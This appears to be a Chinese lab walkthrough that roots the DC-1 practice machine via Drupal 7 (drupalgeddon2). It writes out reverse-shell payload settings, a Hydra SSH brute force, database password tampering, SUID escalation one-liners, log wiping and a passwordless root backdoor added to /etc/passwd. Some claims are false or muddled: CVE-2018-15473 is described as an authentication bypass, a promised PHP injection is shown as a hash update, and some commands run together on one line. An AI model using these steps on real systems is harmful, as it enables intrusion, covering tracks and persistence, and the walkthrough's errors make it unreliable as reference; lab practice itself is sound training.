DC靶场实战:从Drupal 7漏洞到Root权限的完整渗透路径
2026/4/20 23:32:27 网站建设 项目流程

1. 环境准备与靶机搭建

第一次接触DC靶场时,我花了整整一下午才把环境跑通。这里分享几个避坑技巧:建议使用VMware Workstation 16以上版本,兼容性更好。Kali Linux推荐用2023.4官方镜像,内置工具更全。下载DC1靶机时要注意,官网提供的OVA文件导入VMware时可能会报错,这是正常现象——连续点击三次重试就能成功导入。

网络配置是新手最容易翻车的地方。实测发现,当Kali和DC1都设置为桥接模式时,如果主机连接的是企业级路由器,可能会被隔离到不同网段。这时可以强制指定桥接到主机的物理网卡(比如我的Realtek PCIe GbE Family Controller),而不是默认的自动模式。启动顺序也有讲究:建议先开DC1靶机,等看到Drupal登录界面后再启动Kali,这样能避免ARP扫描找不到目标的情况。

2. 信息收集的艺术

很多人以为arp-scan -l就是信息收集的全部,其实这只是开始。我习惯用组合拳:

arp-scan -l --interface=eth0 | grep -v "DUP" nmap -sV -O -T4 192.168.1.105 nikto -h http://192.168.1.105

特别注意nmap的-O参数,它能识别操作系统类型。有次扫描结果显示靶机运行的是Debian 7,这直接让我联想到Drupal 7的已知漏洞。当发现80端口开放时,别急着访问网页,先看响应头:

curl -I http://192.168.1.105

这能获取Server版本信息,比用浏览器插件更隐蔽。Wappalyzer虽然方便,但会留下访问日志,实战中要慎用。

3. Drupal 7漏洞深度解析

Drupal 7的漏洞利用远比想象中复杂。在MSF中选择exploit/unix/webapp/drupal_drupalgeddon2时,有几点要注意:

  1. 如果返回的shell立即断开,可能是payload问题。改用reverse_php更稳定:
set payload php/reverse_php
  1. 遇到"Encoding failed"错误时,在Kali里执行:
locale-gen en_US.UTF-8 export LANG=en_US.UTF-8
  1. 获取的初始shell功能残缺,用python升级时要注意靶机是否安装了python:
which python || which python3 python3 -c 'import pty;pty.spawn("/bin/bash")'

4. 数据库提权实战技巧

找到settings.php后,很多人直接就用数据库密码登录了。这里有个坑:Drupal 7的密码哈希算法会随版本变化。我遇到过用password-hash.sh生成的哈希无法登录的情况,这时需要检查includes/password.inc文件中的哈希算法版本。

更稳妥的做法是直接修改users表的mail字段:

UPDATE users SET mail='attacker@example.com' WHERE uid=1;

然后通过密码重置功能获取权限。如果网站禁用邮件功能,可以注入PHP代码:

UPDATE users SET pass='$S$CTo3G6LrpHIp8kR4S9kmRl3XvJZ5v.UDHXg7jvZJDJ99D4VRAZz9' WHERE uid=1;

这个哈希对应密码是"hacker",可以直接登录。

5. 横向移动与SSH爆破

使用Hydra爆破SSH时,默认字典成功率太低。我整理过高效字典组合:

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt -t 4 -vV 192.168.1.105 ssh

关键参数:

  • -t 4 控制线程数,避免被靶机封禁
  • -vV 显示详细过程
  • -f 找到第一个密码就停止

如果速度太慢,可以先用nmap检测SSH版本:

nmap -sV -p 22 192.168.1.105

对于OpenSSH 7.9以下版本,可以尝试CVE-2018-15473漏洞绕过认证。

6. SUID提权高阶玩法

find命令提权虽然经典,但新版本靶机可能已修复。我收集了更多SUID提权方法:

  1. 利用vim.basic:
vim.basic /etc/shadow :!sh
  1. 通过bash漏洞:
bash -p
  1. 如果安装了较新版本的find,可以尝试:
find / -exec /usr/bin/python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")' \;

特别提醒:执行前先用find --version查看版本,GNU find 4.7.0以上版本需要改用perl payload。

7. 后渗透与痕迹清理

拿到root权限后,别急着找flag。先做这几件事:

  1. 查看登录记录:
lastlog
  1. 删除当前用户的历史记录:
history -c rm ~/.bash_history
  1. 修改auth.log(如果靶机开启了日志):
echo "" > /var/log/auth.log
  1. 建立持久化后门:
echo "root::0:0:root:/root:/bin/bash" >> /etc/passwd

最后找flag时,别只看/root目录。我遇到过flag被藏在/usr/share/doc下的情况:

find / -name "*flag*" -type f 2>/dev/null

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询